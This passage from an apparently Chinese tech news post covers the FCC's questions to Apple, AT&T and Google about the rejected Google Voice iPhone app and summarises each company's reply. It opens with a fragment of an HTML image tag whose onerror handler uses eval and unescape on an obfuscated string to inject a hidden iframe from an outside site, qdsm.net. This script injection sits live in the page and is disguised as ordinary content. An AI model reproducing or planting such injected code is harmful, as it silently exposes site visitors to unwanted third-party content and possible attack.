0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))"> |
原本只是一件单纯(?)的软件审核问题,最终却引来了 FCC 的深入调查,甚至还各寄一封信苹果、AT&T、Google 这三家公司,希望他们把事情交代清楚;而最近这三方针对 FCC 问题回复内容也对外公布了,以下就让咱们先来看个大概吧!
AT&T 方面一如往常的在回复中否认干涉过 Google Voice 服务软件的审核,不过他们承认,确实有对于一些可能造成电信网络壅塞(总之就是很在意、坚持不能让一些 iPhone 软件造成他们家手机网络塞车就是)的软件进行讨论(一如一些影像的串流软件 Final Four、SlingPlayer Mobile 等, {zh1}几乎都被限制在仅能透过 WiFi 来传输数据)。
苹果的部分,一样坚持先前的说法,表示 Google Voice 相关的软件,会让使用者与其它 iPhone 原先内置的功能混淆,明显跟软件功能不能跟 iPhone 原先功能重迭的原则抵触;当中还有一个有趣的点是说,AT&T 一方面对 iPhone 上头的软件表达意见, 却放行 Windows Mobile 平台上面的功能近似软件,这点确实让人有些不解。
而苹果也在自白中,讲了一句相当中肯的话,他们表示,这些都是一些新浮现的问题(过去不论是手机制造商、电信业者都没有遇到过这样的处境),而将来不管整起事件会如何发展,都会对电信商、手机制造商、手机软件开发者有长远的影响;跳转后请耐心收看主站为大家整理的三方针对 FCC 问题的响应重点条列。
[]